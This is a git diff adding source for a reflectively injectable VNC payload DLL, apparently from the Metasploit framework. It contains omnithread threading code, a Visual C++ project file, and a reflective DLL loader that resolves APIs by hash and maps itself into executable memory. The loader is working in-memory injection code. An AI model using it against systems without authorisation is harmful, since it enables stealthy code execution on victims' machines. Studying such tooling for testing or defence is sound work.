detached version + +omni_thread* +omni_thread::create(void (*fn)(void*), void* arg, priority_t pri) +{ + omni_thread* t = new omni_thread(fn, arg, pri); + t->start(); + return t; +} + +// undetached version + +omni_thread* +omni_thread::create(void* (*fn)(void*), void* arg, priority_t pri) +{ + omni_thread* t = new omni_thread(fn, arg, pri); + t->start(); + return t; +} + + +// +// exit() _must_ lock the mutex even in the case of a detached thread. This is +// because a thread may run to completion before the thread that created it has +// had a chance to get out of start(). By locking the mutex we ensure that the +// creating thread must have reached the end of start() before we delete the +// thread object. Of course, once the call to start() returns, the user can +// still incorrectly refer to the thread object, but that's their problem. +// + +void +omni_thread::exit(void* return_value) +{ + omni_thread* me = self(); + + if (me) + { + me->mutex.lock(); + + me->_state = STATE_TERMINATED; + + me->mutex.unlock(); + + DB(cerr << "omni_thread::exit: thread " << me->id() << " detached " + << me->detached << " return value " << return_value << endl); + + if (me->detached) { + delete me; + } else { + me->return_val = return_value; + } + } + else + { + DB(cerr << "omni_thread::exit: called with a non-omnithread. Exit quietly." << endl); + } +#ifndef __BCPLUSPLUS__ + // MSVC++ or compatiable + // _endthreadex() does not automatically closes the thread handle. + // The omni_thread dtor closes the thread handle. + _endthreadex(0); +#else + // Borland C++ + // _endthread() does not automatically closes the thread handle. + // _endthreadex() is only available if __MFC_COMPAT__ is defined and + // all it does is to call _endthread(). + _endthread(); +#endif +} + + +omni_thread* +omni_thread::self(void) +{ + LPVOID me; + + me = TlsGetValue(self_tls_index); + + if (me == NULL) { + DB(cerr << "omni_thread::self: called with a non-ominthread. NULL is returned." << endl); + } + return (omni_thread*)me; +} + + +void +omni_thread::yield(void) +{ + Sleep(0); +} + + +#define MAX_SLEEP_SECONDS (DWORD)4294966 // (2**32-2)/1000 + +void +omni_thread::sleep(unsigned long secs, unsigned long nanosecs) +{ + if (secs <= MAX_SLEEP_SECONDS) { + Sleep(secs * 1000 + nanosecs / 1000000); + return; + } + + DWORD no_of_max_sleeps = secs / MAX_SLEEP_SECONDS; + + for (DWORD i = 0; i < no_of_max_sleeps; i++) + Sleep(MAX_SLEEP_SECONDS * 1000); + + Sleep((secs % MAX_SLEEP_SECONDS) * 1000 + nanosecs / 1000000); +} + + +void +omni_thread::get_time(unsigned long* abs_sec, unsigned long* abs_nsec, + unsigned long rel_sec, unsigned long rel_nsec) +{ + get_time_now(abs_sec, abs_nsec); + *abs_nsec += rel_nsec; + *abs_sec += rel_sec + *abs_nsec / 1000000000; + *abs_nsec = *abs_nsec % 1000000000; +} + + +int +omni_thread::nt_priority(priority_t pri) +{ + switch (pri) { + + case PRIORITY_LOW: + return THREAD_PRIORITY_LOWEST; + + case PRIORITY_NORMAL: + return THREAD_PRIORITY_NORMAL; + + case PRIORITY_HIGH: + return THREAD_PRIORITY_HIGHEST; + } + + throw omni_thread_invalid(); + return 0; /* keep msvc++ happy */ +} + + +static void +get_time_now(unsigned long* abs_sec, unsigned long* abs_nsec) +{ + static int days_in_preceding_months[12] + = { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334 }; + static int days_in_preceding_months_leap[12] + = { 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335 }; + + SYSTEMTIME st; + + GetSystemTime(&st); + *abs_nsec = st.wMilliseconds * 1000000; + + // this formula should work until 1st March 2100 + + DWORD days = ((st.wYear - 1970) * 365 + (st.wYear - 1969) / 4 + + ((st.wYear % 4) + ? days_in_preceding_months[st.wMonth - 1] + : days_in_preceding_months_leap[st.wMonth - 1]) + + st.wDay - 1); + + *abs_sec = st.wSecond + 60 * (st.wMinute + 60 * (st.wHour + 24 * days)); +} + +void +omni_thread::stacksize(unsigned long sz) +{ + stack_size = sz; +} + +unsigned long +omni_thread::stacksize() +{ + return stack_size; +} diff --git a/external/source/reflective_vncdll/winvnc/omnithread/omnithread/nt.h b/external/source/reflective_vncdll/winvnc/omnithread/omnithread/nt.h new file mode 100644 index 0000000000..2b2e30722b --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/omnithread/omnithread/nt.h @@ -0,0 +1,65 @@ +// Package : omnithread +// omnithread/nt.h Created : 6/95 tjr +// +// Copyright (C) 1995, 1996, 1997 Olivetti & Oracle Research Laboratory +// +// This file is part of the omnithread library +// +// The omnithread library is free software; you can redistribute it and/or +// modify it under the terms of the GNU Library General Public +// License as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// This library is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +// Library General Public License for more details. +// +// You should have received a copy of the GNU Library General Public +// License along with this library; if not, write to the Free +// Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA +// 02111-1307, USA +// +// +// OMNI thread implementation classes for NT threads. +// + +#ifndef __omnithread_nt_h_ +#define __omnithread_nt_h_ + +#include + +#ifndef __BCPLUSPLUS__ +#define OMNI_THREAD_WRAPPER \ + unsigned __stdcall omni_thread_wrapper(LPVOID ptr); +#else +#define OMNI_THREAD_WRAPPER \ + void _USERENTRY omni_thread_wrapper(void *ptr); +#endif + +extern "C" OMNI_THREAD_WRAPPER; + +#define OMNI_MUTEX_IMPLEMENTATION \ + CRITICAL_SECTION crit; + +#define OMNI_CONDITION_IMPLEMENTATION \ + CRITICAL_SECTION crit; \ + omni_thread* waiting_head; \ + omni_thread* waiting_tail; + +#define OMNI_SEMAPHORE_IMPLEMENTATION \ + HANDLE nt_sem; + +#define OMNI_THREAD_IMPLEMENTATION \ + HANDLE handle; \ + DWORD nt_id; \ + void* return_val; \ + HANDLE cond_semaphore; \ + omni_thread* cond_next; \ + omni_thread* cond_prev; \ + BOOL cond_waiting; \ + static int nt_priority(priority_t); \ + friend class omni_condition; \ + friend OMNI_THREAD_WRAPPER; + +#endif diff --git a/external/source/reflective_vncdll/winvnc/vncdll/ReflectiveLoader.c b/external/source/reflective_vncdll/winvnc/vncdll/ReflectiveLoader.c new file mode 100644 index 0000000000..bf0bd38c86 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/vncdll/ReflectiveLoader.c @@ -0,0 +1,293 @@ +//===============================================================================================// +// Copyright (c) 2008 Stephen Fewer of Harmony Security +//===============================================================================================// +#include "ReflectiveLoader.h" +//===============================================================================================// +// You must implement this to add desired functionality... +//extern int Init( SOCKET fd ); +//===============================================================================================// +// Our loader will set this to a pseudo correct value +//HINSTANCE hAppInstance; // see winvnc.cpp +//===============================================================================================// +// This is our position independent reflective Dll loader/injector +DLLEXPORT DWORD WINAPI ReflectiveLoader( VOID ) +{ + //SOCKET socket; + + // the functions we need + LOADLIBRARYA pLoadLibraryA; + GETPROCADDRESS pGetProcAddress; + VIRTUALALLOC pVirtualAlloc; + BYTE bCounter = 3; + + // the initial location of this image in memory + DWORD dwLibraryAddress; + // the kernels base address and later this images newly loaded base address + DWORD dwBaseAddress; + + // variables for processing the kernels export table + DWORD dwAddressArray; + DWORD dwNameArray; + DWORD dwExportDir; + DWORD dwNameOrdinals; + DWORD dwHashValue; + + // variables for loading this image + DWORD dwHeaderValue; + DWORD dwValueA; + DWORD dwValueB; + DWORD dwValueC; + DWORD dwValueD; + + // STEP 0: calculate our images current base address + + // we will start searching backwards from our current EIP + __asm call getip + __asm getip: pop dwLibraryAddress + // save our socket for later + //__asm mov socket, edi + + // loop through memory backwards searching for our images base address + // we dont need SEH style search as we shouldnt generate any access violations with this + while( TRUE ) + { + if( ((PIMAGE_DOS_HEADER)dwLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) + { + dwHeaderValue = dwLibraryAddress + ((PIMAGE_DOS_HEADER)dwLibraryAddress)->e_lfanew; + // break if we have found a valid MZ/PE header + if( ((PIMAGE_NT_HEADERS32)dwHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) + break; + } + dwLibraryAddress--; + } + + // STEP 1: process the kernels exports for the functions our loader needs... + + // get the Process Enviroment Block + dwBaseAddress = __get_peb(); + + // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx + dwBaseAddress = (DWORD)((_PPEB)dwBaseAddress)->pLdr; + + dwBaseAddress = DEREF_32( ((PPEB_LDR_DATA)dwBaseAddress)->InInitializationOrderModuleList.Flink ); + + // get this kernels base address + dwBaseAddress = DEREF_32( dwBaseAddress + 8 ); + + // get the VA of the modules NT Header + dwExportDir = dwBaseAddress + ((PIMAGE_DOS_HEADER)dwBaseAddress)->e_lfanew; + + // dwNameArray = the address of the modules export directory entry + dwNameArray = (DWORD)&((PIMAGE_NT_HEADERS32)dwExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + dwExportDir = ( dwBaseAddress + ((PIMAGE_DATA_DIRECTORY)dwNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + dwNameArray = ( dwBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + dwNameOrdinals = ( dwBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->AddressOfNameOrdinals ); + + // loop while we still have imports to find + while( bCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = __hash( (LPCSTR)( dwBaseAddress + DEREF_32( dwNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) + { + // get the VA for the array of addresses + dwAddressArray = ( dwBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + dwAddressArray += ( DEREF_16( dwNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == LOADLIBRARYA_HASH ) + pLoadLibraryA = (LOADLIBRARYA)( dwBaseAddress + DEREF_32( dwAddressArray ) ); + else if( dwHashValue == GETPROCADDRESS_HASH ) + pGetProcAddress = (GETPROCADDRESS)( dwBaseAddress + DEREF_32( dwAddressArray ) ); + else if( dwHashValue == VIRTUALALLOC_HASH ) + pVirtualAlloc = (VIRTUALALLOC)( dwBaseAddress + DEREF_32( dwAddressArray ) ); + + // decrement our counter + bCounter--; + } + + // get the next exported function name + dwNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + dwNameOrdinals += sizeof(WORD); + } + + // STEP 2: load our image into a new permanent location in memory... + + // get the VA of the NT Header for the PE to be loaded + dwHeaderValue = dwLibraryAddress + ((PIMAGE_DOS_HEADER)dwLibraryAddress)->e_lfanew; + + // allocate all the memory for the DLL to be loaded into. we can load at any address because we will + // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. + dwBaseAddress = (DWORD)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + + // we must now copy over the headers + dwValueA = ((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.SizeOfHeaders; + dwValueB = dwLibraryAddress; + dwValueC = dwBaseAddress; + __memcpy( dwValueC, dwValueB, dwValueA ); + + // STEP 3: load in all of our sections... + + // dwValueA = the VA of the first section + dwValueA = ( (DWORD)&((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS32)dwHeaderValue)->FileHeader.SizeOfOptionalHeader ); + + // itterate through all sections, loading them into memory. + while( ((PIMAGE_NT_HEADERS32)dwHeaderValue)->FileHeader.NumberOfSections-- ) + { + // dwValueB is the VA for this section + dwValueB = ( dwBaseAddress + ((PIMAGE_SECTION_HEADER)dwValueA)->VirtualAddress ); + + // dwValueC if the VA for this sections data + dwValueC = ( dwLibraryAddress + ((PIMAGE_SECTION_HEADER)dwValueA)->PointerToRawData ); + + // copy the section over + dwValueD = ((PIMAGE_SECTION_HEADER)dwValueA)->SizeOfRawData; + __memcpy( dwValueB, dwValueC, dwValueD ); + + // get the VA of the next section + dwValueA += sizeof( IMAGE_SECTION_HEADER ); + } + + // STEP 4: process our images import table... + + // dwValueB = the address of the import directory + dwValueB = (DWORD)&((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; + + // we assume their is an import table to process + // dwValueC is the first entry in the import table + dwValueC = ( dwBaseAddress + ((PIMAGE_DATA_DIRECTORY)dwValueB)->VirtualAddress ); + + // itterate through all imports + while( ((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->Name ) + { + // use LoadLibraryA to load the imported module into memory + dwLibraryAddress = (DWORD)pLoadLibraryA( (LPCSTR)( dwBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->Name ) ); + + // dwValueD = VA of the OriginalFirstThunk + dwValueD = ( dwBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->OriginalFirstThunk ); + + // dwValueA = VA of the IAT (via first thunk not origionalfirstthunk) + dwValueA = ( dwBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->FirstThunk ); + + // itterate through all imported functions, importing by ordinal if no name present + while( DEREF_32(dwValueA) ) + { + // sanity check dwValueD as some compilers only import by FirstThunk + if( dwValueD && ((PIMAGE_THUNK_DATA)dwValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG32 ) + { + // get the VA of the modules NT Header + dwExportDir = dwLibraryAddress + ((PIMAGE_DOS_HEADER)dwLibraryAddress)->e_lfanew; + + // dwNameArray = the address of the modules export directory entry + dwNameArray = (DWORD)&((PIMAGE_NT_HEADERS32)dwExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + dwExportDir = ( dwLibraryAddress + ((PIMAGE_DATA_DIRECTORY)dwNameArray)->VirtualAddress ); + + // get the VA for the array of addresses + dwAddressArray = ( dwLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->AddressOfFunctions ); + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + dwAddressArray += ( ( IMAGE_ORDINAL32( ((PIMAGE_THUNK_DATA)dwValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->Base ) * sizeof(DWORD) ); + + // patch in the address for this imported function + DEREF_32(dwValueA) = ( dwLibraryAddress + DEREF_32(dwAddressArray) ); + } + else + { + // get the VA of this functions import by name struct + dwValueB = ( dwBaseAddress + DEREF_32(dwValueA) ); + + // use GetProcAddress and patch in the address for this imported function + DEREF_32(dwValueA) = (DWORD)pGetProcAddress( (HMODULE)dwLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)dwValueB)->Name ); + } + // get the next imported function + dwValueA += 4; + if( dwValueD ) + dwValueD += 4; + } + + // get the next import + dwValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); + } + + // STEP 5: process all of our images relocations... + + // calculate the base address delta and perform relocations (even if we load at desired image base) + dwLibraryAddress = dwBaseAddress - ((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.ImageBase; + + // dwValueB = the address of the relocation directory + dwValueB = (DWORD)&((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; + + // check if their are any relocations present + if( ((PIMAGE_DATA_DIRECTORY)dwValueB)->Size ) + { + // dwValueC is now the first entry (IMAGE_BASE_RELOCATION) + dwValueC = ( dwBaseAddress + ((PIMAGE_DATA_DIRECTORY)dwValueB)->VirtualAddress ); + + // and we itterate through all entries... + while( ((PIMAGE_BASE_RELOCATION)dwValueC)->SizeOfBlock ) + { + // dwValueA = the VA for this relocation block + dwValueA = ( dwBaseAddress + ((PIMAGE_BASE_RELOCATION)dwValueC)->VirtualAddress ); + + // dwValueB = number of entries in this relocation block + dwValueB = ( ((PIMAGE_BASE_RELOCATION)dwValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); + + // dwValueD is now the first entry in the current relocation block + dwValueD = dwValueC + sizeof(IMAGE_BASE_RELOCATION); + + // we itterate through all the entries in the current block... + while( dwValueB-- ) + { + // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required + switch( ((PIMAGE_RELOC)dwValueD)->type ) + { + case IMAGE_REL_BASED_HIGHLOW: + *(DWORD *)(dwValueA + ((PIMAGE_RELOC)dwValueD)->offset) += dwLibraryAddress; + break; + case IMAGE_REL_BASED_HIGH: + *(WORD *)(dwValueA + ((PIMAGE_RELOC)dwValueD)->offset) += HIWORD(dwLibraryAddress); + break; + case IMAGE_REL_BASED_LOW: + *(WORD *)(dwValueA + ((PIMAGE_RELOC)dwValueD)->offset) += LOWORD(dwLibraryAddress); + break; + //case IMAGE_REL_BASED_HIGHADJ: + // break; + default: + break; + } + + // get the next entry in the current relocation block + dwValueD += sizeof( IMAGE_RELOC ); + } + + // get the next entry in the relocation directory + dwValueC = dwValueC + ((PIMAGE_BASE_RELOCATION)dwValueC)->SizeOfBlock; + } + } + + // STEP 6: call our images entry point + + // dwValueA = the VA of our newly loaded DLL's entry point + dwValueA = ( dwBaseAddress + ((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.AddressOfEntryPoint ); + + // call our DLLMain(), fudging our hinstDLL value + ((DLLMAIN)dwValueA)( (HINSTANCE)dwBaseAddress, DLL_PROCESS_ATTACH, NULL ); + + // STEP 7: return our new DllMain address so whatever called us can call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH + return (DWORD)dwValueA; +} +//===============================================================================================// diff --git a/external/source/reflective_vncdll/winvnc/vncdll/ReflectiveLoader.h b/external/source/reflective_vncdll/winvnc/vncdll/ReflectiveLoader.h new file mode 100644 index 0000000000..d712f0e3cd --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/vncdll/ReflectiveLoader.h @@ -0,0 +1,180 @@ +//===============================================================================================// +// Copyright (c) 2008 Stephen Fewer of Harmony Security +//===============================================================================================// +#ifndef REFLECTIVELOADER_H +#define REFLECTIVELOADER_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include + +#define EXITFUNC_SEH 0x5F048AF0 +#define EXITFUNC_THREAD 0x60E0CEEF +#define EXITFUNC_PROCESS 0x73E2D87E + +#define DLL_METASPLOIT_ATTACH 4 +#define DLL_METASPLOIT_DETACH 5 + +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +#define DLLEXPORT __declspec( dllexport ) + +typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); +typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); +typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); +typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 + +#define HASH_KEY 13 +//===============================================================================================// +__forceinline DWORD __hash( char * c ) +{ + register DWORD h = 0; + do + { + __asm ror h, HASH_KEY + h += *c; + } while( *++c ); + + return h; +} +//===============================================================================================// +__forceinline DWORD __get_peb() +{ + __asm mov eax, fs:[ 0x30 ] +} +//===============================================================================================// +__forceinline VOID __memzero( DWORD dwDest, DWORD dwLength ) +{ + __asm + { + mov ecx, dwLength + xor eax, eax + mov edi, dwDest + rep stosb + } +} +//===============================================================================================// +__forceinline VOID __memcpy( DWORD dwDest, DWORD dwSource, DWORD dwLength ) +{ + __asm + { + mov ecx, dwLength + mov esi, dwSource + mov edi, dwDest + rep movsb + } +} +//===============================================================================================// + +// WinDbg> dt -v ntdll!_PEB_LDR_DATA +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes +{ + struct _PEB_FREE_BLOCK * pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING; +typedef UNICODE_STRING *PUNICODE_STRING; + +// struct _PEB is defined in Winternl.h but it is incomplete +// WinDbg> dt -v ntdll!_PEB +typedef struct __PEB // 65 elements, 0x210 bytes +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STRING usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} _PEB, * _PPEB; + +typedef struct +{ + WORD offset:12; + WORD type:4; +} IMAGE_RELOC, *PIMAGE_RELOC; +//===============================================================================================// +#endif +//===============================================================================================// \ No newline at end of file diff --git a/external/source/reflective_vncdll/winvnc/vncdll/vncdll.dsp b/external/source/reflective_vncdll/winvnc/vncdll/vncdll.dsp new file mode 100644 index 0000000000..291edda666 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/vncdll/vncdll.dsp @@ -0,0 +1,577 @@ +# Microsoft Developer Studio Project File - Name="vncdll" - Package Owner=<4> +# Microsoft Developer Studio Generated Build File, Format Version 6.00 +# ** DO NOT EDIT ** + +# TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102 + +CFG=vncdll - Win32 Debug +!MESSAGE This is not a valid makefile. To build this project using NMAKE, +!MESSAGE use the Export Makefile command and run +!MESSAGE +!MESSAGE NMAKE /f "vncdll.mak". +!MESSAGE +!MESSAGE You can specify a configuration when running NMAKE +!MESSAGE by defining the macro CFG on the command line. For example: +!MESSAGE +!MESSAGE NMAKE /f "vncdll.mak" CFG="vncdll - Win32 Debug" +!MESSAGE +!MESSAGE Possible choices for configuration are: +!MESSAGE +!MESSAGE "vncdll - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library") +!MESSAGE "vncdll - Win32 Debug" (based on "Win32 (x86) Dynamic-Link Library") +!MESSAGE + +# Begin Project +# PROP AllowPerConfigDependencies 0 +# PROP Scc_ProjName "" +# PROP Scc_LocalPath "" +CPP=cl.exe +MTL=midl.exe +RSC=rc.exe + +!IF "$(CFG)" == "vncdll - Win32 Release" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "Release" +# PROP BASE Intermediate_Dir "Release" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "..\Release" +# PROP Intermediate_Dir "..\Release" +# PROP Ignore_Export_Lib 0 +# PROP Target_Dir "" +# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCDLL_EXPORTS" /YX /FD /c +# ADD CPP /nologo /MT /W3 /GX /Zi /O1 /I "..\omnithread" /I ".." /I "..\.." /D "WIN32" /D "NDEBUG" /D "__x86__" /D "__WIN32__" /D "_WINDOWS" /D "_MBCS" /D "_OMNITHREAD_DLL" /D _WIN32_WINNT=0x400 /FR /YX /FD /c +# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x409 /d "NDEBUG" +# ADD RSC /l 0x409 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 +# ADD LINK32 ws2_32.lib advapi32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 + +!ELSEIF "$(CFG)" == "vncdll - Win32 Debug" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "Debug" +# PROP BASE Intermediate_Dir "Debug" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "..\Debug" +# PROP Intermediate_Dir "..\Debug" +# PROP Ignore_Export_Lib 0 +# PROP Target_Dir "" +# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCDLL_EXPORTS" /YX /FD /GZ /c +# ADD CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCDLL_EXPORTS" /YX /FD /GZ /c +# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x409 /d "_DEBUG" +# ADD RSC /l 0x409 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept +# ADD LINK32 ws2_32.lib advapi32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept + +!ENDIF + +# Begin Target + +# Name "vncdll - Win32 Release" +# Name "vncdll - Win32 Debug" +# Begin Group "omnithread" + +# PROP Default_Filter "" +# Begin Source File + +SOURCE=..\omnithread\omnithread\nt.cpp +# End Source File +# Begin Source File + +SOURCE=..\omnithread\omnithread\nt.h +# End Source File +# Begin Source File + +SOURCE=..\omnithread\omnithread.h +# End Source File +# End Group +# Begin Group "Resource Files" + +# PROP Default_Filter "" +# Begin Source File + +SOURCE=..\winvnc\res\animatedmemoryimagesource.class +# End Source File +# Begin Source File + +SOURCE=..\winvnc\res\authenticationpanel.class +# End Source File +# Begin Source File + +SOURCE=..\winvnc\res\clipboardframe.class +# End Source File +# Begin Source File + +SOURCE=..\winvnc\res\descipher.class +# End Source File +# Begin Source File + +SOURCE=..\winvnc\res\icon1.ico +# End Source File +# Begin Source File + +SOURCE=..\winvnc\res\optionsframe.class +# End Source File +# Begin Source File + +SOURCE=..\winvnc\res\rfbproto.class +# End Source File +# Begin Source File + +SOURCE=..\winvnc\res\vnc.bmp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\res\vnccanvas.class +# End Source File +# Begin Source File + +SOURCE=..\winvnc\res\vncviewer.class +# End Source File +# Begin Source File + +SOURCE=..\winvnc\res\vncviewer.jar +# End Source File +# Begin Source File + +SOURCE=..\winvnc\res\winvnc.ico +# End Source File +# End Group +# Begin Group 